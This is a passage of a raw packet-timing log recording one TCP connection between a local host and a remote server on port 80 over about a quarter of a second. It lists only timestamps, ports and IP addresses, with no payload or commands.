Dec 24, 2024 22:26:59.937083006 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.937721968 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.937773943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.937886000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.937937975 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.938683987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.938734055 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.938822031 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.938864946 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.939655066 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.939711094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.939764977 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.939809084 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.940606117 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.940660000 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.940829992 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.940876961 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.941548109 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.941597939 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.941662073 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.941710949 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.942531109 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.942579031 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.942658901 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.942709923 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.943516016 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.943564892 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.943583012 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.943639040 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.944446087 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.944494009 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.944624901 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.944674969 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.945364952 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.945415020 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.945671082 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.945720911 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.946374893 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.946408987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.946424007 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.946451902 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.947278976 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.947329044 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.947639942 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.947690010 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.948230982 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.948281050 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.948467016 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.948514938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.949181080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.949235916 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.949385881 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.949440956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.950138092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.950191021 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.950261116 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.950309038 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.951134920 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.951186895 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.951298952 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.951350927 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.952023029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.952075958 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.952909946 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.952955008 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.953073025 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.953126907 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.953345060 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.953394890 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.953959942 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.954009056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.954292059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.954344988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.954905033 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.954952002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.955534935 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.955584049 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.955859900 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.955914021 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.956054926 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.956108093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.956813097 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.956860065 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.956991911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.957040071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.957760096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.957812071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.957940102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.957992077 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.958723068 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.958786011 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.959554911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.959604979 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.959692001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.959754944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.959774017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.959829092 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.960607052 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.960659981 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.960797071 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.960850954 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.961597919 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.961649895 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.962034941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.962088108 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.962552071 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.962606907 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.962685108 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.962734938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.963525057 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.963579893 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.963651896 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.963705063 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.964468956 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.964523077 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.964564085 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.964607954 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.965428114 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.965478897 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.965492010 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.965548992 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.966375113 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.966427088 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.966772079 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.966824055 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.967346907 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.967396021 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.967454910 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.967508078 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.968266010 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.968319893 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.968805075 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.968857050 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.969237089 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.969284058 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.969640017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.969691992 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.970196009 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.970247030 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.971165895 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.971201897 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.971216917 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.971246004 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.971272945 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.971328974 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.972083092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.972134113 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.972338915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.972390890 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.973181963 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.973232031 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.974042892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.974076986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.974092007 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.974114895 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.974170923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.974224091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.974961996 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.975013018 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.975080967 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.975136042 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.975914001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.975965977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.976085901 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.976135015 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.976994991 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.977046967 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.978137016 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.978183985 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.978280067 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.978313923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.978329897 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.978359938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.980078936 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.980113029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.980129004 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.980179071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.981461048 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.981494904 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.981513977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.981532097 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.981540918 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.981574059 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.981643915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.981686115 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.035819054 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.035903931 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.036192894 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.036226988 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.036267042 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.036310911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.036343098 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.036361933 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.037123919 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.037178993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.037688971 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.037744045 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.038062096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.038115025 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.127815962 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.127881050 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.128038883 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.128074884 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.128107071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.128118038 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.128186941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.128232002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.128973007 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.129019022 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.129095078 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.129141092 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.129918098 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.129951000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.129965067 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.130006075 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.130850077 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.130944967 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.131145000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.131205082 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.131808043 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.131863117 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.132388115 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.132440090 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.132808924 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.132843018 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.132863045 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.132891893 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.133682966 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.133734941 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.134141922 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.134192944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.134664059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.134715080 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.134819031 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.134877920 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.135680914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.135732889 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.135936975 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.136001110 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.136549950 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.136601925 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.137341976 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.137388945 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.137470007 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.137504101 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.137516975 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.137550116 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.138454914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.138504982 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.138819933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.138865948 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.139374971 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.139435053 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.140291929 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.140343904 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.140439987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.140474081 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.140491962 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.140516043 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.141272068 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.141325951 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.141799927 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.141851902 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.142262936 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.142314911 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.142457008 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.142514944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.143250942 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.143296957 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.143296957 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.143349886 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.144136906 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.144188881 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.144254923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.144316912 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.145062923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.145113945 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.145258904 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.145311117 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.146066904 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.146132946 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.146250963 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.146301031 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.146981955 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.147032022 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.147284031 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.147335052 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.147970915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.148026943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.148082972 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.148135900 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.148968935 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.149015903 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.149019003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.149060965 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.149895906 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.149943113 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.150007963 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.150063038 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.150760889 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.150813103 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.151249886 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.151302099 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.151727915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.151782036 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.152748108 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.152782917 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.152801991 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.152833939 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.152842999 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.152883053 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.153706074 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.153739929 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.153752089 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.153836966 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.154591084 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.154644012 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.154687881 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.154737949 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.155524969 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.155575991 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.155802011 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.155854940 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.156491995 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.156543016 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.156620026 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.156672001 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.157488108 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.157538891 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.157603025 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.157660007 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.158416033 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.158466101 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.158729076 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.158791065 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.159331083 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.159377098 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.159557104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.159656048 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.160267115 CET	80	49730	135.181.65.216	192.168.2.4
